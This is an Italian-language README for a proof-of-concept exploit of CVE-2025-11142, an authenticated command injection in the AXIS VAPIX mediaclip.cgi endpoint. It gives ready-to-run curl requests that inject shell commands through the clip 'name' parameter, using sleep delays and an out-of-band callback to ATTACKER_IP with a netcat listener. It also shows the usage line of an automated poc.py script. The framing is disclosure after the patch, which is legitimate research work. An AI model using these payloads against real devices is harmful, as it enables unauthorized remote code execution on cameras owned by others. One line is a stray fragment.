
Proof-of-concept e analisi tecnica per CVE-2025-11142, un'iniezione di comandi del sistema operativo autenticata in AXIS VAPIX mediaclip.cgi, con metodi di verifica basati sul tempo e out-of-band.
mediaclip.cgi di AXISWriteup di ricerca n-day e PoC — analisi tecnica post-patch di una vulnerabilità di iniezione di comandi OS con CVSS 7.1 nell'API VAPIX Media Clip di AXIS, riscoperta in modo indipendente e verificata tramite test black-box su un dispositivo Axis.
L'advisory ufficiale di Axis non pubblica dettagli tecnici sullo sfruttamento né un PoC pubblico ("Axis non fornirà informazioni più dettagliate sulla vulnerabilità", "non esistono exploit noti pubblicamente" al momento della pubblicazione dell'advisory). Questo repository documenta una conferma riprodotta in modo indipendente e basata su prove, pubblicata solo dopo che la correzione del vendor (AXIS OS 12.7.36) è stata resa generalmente disponibile. Vedi Cronologia della divulgazione.
| ID CVE | CVE-2025-11142 |
| CWE | CWE-78 (Iniezione di Comandi OS) |
| CVSS | 7.1 (Alto) |
| Versioni vulnerabili | AXIS OS 12.6.54 – 12.7.35 |
| Corretto in | AXIS OS 12.7.36 (canale Active) |
| Advisory del vendor | https://www.axis.com/dam/public/18/0e/90/cve-2025-11142pdf-en-US-519291.pdf |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-11142 |
| Privilegi richiesti | Operatore/amministratore autenticato (autenticazione VAPIX HTTP Digest) |
| Impatto verificato qui | Esecuzione arbitraria di comandi OS come account di servizio a bassi privilegi (non root) |
L'endpoint VAPIX /axis-cgi/mediaclip.cgi accetta una richiesta action=update con un
parametro name a testo libero (il nome visualizzato della clip). I test black-box mostrano che questo valore
viene passato, senza sanitizzazione, a un'invocazione di shell sul dispositivo — molto probabilmente come parte di un
passaggio interno di rinomina/elaborazione file per il sottosistema delle clip multimediali.
Nessun writeup tecnico pubblico descrive l'esatto percorso del codice lato server (Axis non ne ha pubblicato uno), quindi la causa principale di seguito è dedotta dal comportamento black-box, non dalla revisione del codice sorgente.
Tutte le richieste utilizzano l'autenticazione HTTP Digest (il dispositivo rifiuta l'autenticazione Basic). Sostituisci
TARGET, USER e PASS con i valori del tuo dispositivo di laboratorio — non utilizzare le credenziali di esempio
contro un dispositivo che non possiedi o per il quale non sei autorizzato a fare test.
L'azione update richiede una clip esistente. Se la clip 0 non esiste ancora, carica prima un
segnaposto piccolo e innocuo:
curl -s --digest -u "$USER:$PASS" --anyauth \
-X POST "http://$TARGET/axis-cgi/mediaclip.cgi?action=upload&media=audio&name=testclip" \
-F "[email protected];type=audio/wav"
Qualsiasi piccolo file WAV valido funziona per poc.wav (un'intestazione RIFF/WAVE minima è sufficiente).
# baseline / controllo — nessun ritardo iniettato
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
"http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 0;"
# ritardo iniettato di 8 secondi
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
"http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 8;"
Un tempo di risposta che segue la durata del sleep iniettato (piuttosto che la baseline di ~0,3s)
conferma che la shell sta eseguendo l'intero valore name, non limitandosi a trattarlo come una stringa
inerte. Ciò è stato verificato con più ritardi scalati in modo indipendente (0s / 3s / 6s / 8s)
e più sintassi di iniezione (;, &&, backtick, $(...)) per escludere coincidenze.
Poiché il corpo della risposta HTTP non restituisce mai l'output dei comandi (OK / Updating=0 indipendentemente
dal payload), la conferma più convincente utilizza la capacità di rete in uscita del dispositivo stesso. Avvia
un listener su un host controllato dall'attaccante e fai sì che il comando iniettato lo richiami:
# sull'host dell'attaccante:
nc -lvnp 4444
# payload iniettato:
curl -s --digest -u "$USER:$PASS" --anyauth -G "http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;curl http://ATTACKER_IP:4444/rce_confirmed;"
Una richiesta HTTP in entrata genuina dall'indirizzo IP del dispositivo di destinazione, contenente la
stringa User-Agent di curl, è una prova inequivocabile di esecuzione remota di codice — la richiesta
può avere origine solo da un comando che è stato effettivamente eseguito sul dispositivo.
curl -s --digest -u "$USER:$PASS" --anyauth "http://$TARGET/axis-cgi/mediaclip.cgi?action=remove&clip=0"
poc.pyVedi poc.py per uno script autonomo che automatizza i passaggi 1–4 contro un
target specificato dalla riga di comando.
usage: poc.py --target 192.168.1.100 --user admin --pass admin --callback-ip 192.168.1.50 [--callback-port 4444]
mediaclip.cgi) che Axis
non abbia già confermato.Questo codice è fornito esclusivamente per test di sicurezza autorizzati, ricerca sulla sicurezza e scopi difensivi (ad es., verificare se la propria flotta è aggiornata, creare firme di rilevamento). Non utilizzarlo contro dispositivi che non possiedi o per i quali non hai un'autorizzazione scritta esplicita a fare test. Gli autori non si assumono alcuna responsabilità per un uso improprio.
MIT — vedi LICENSE.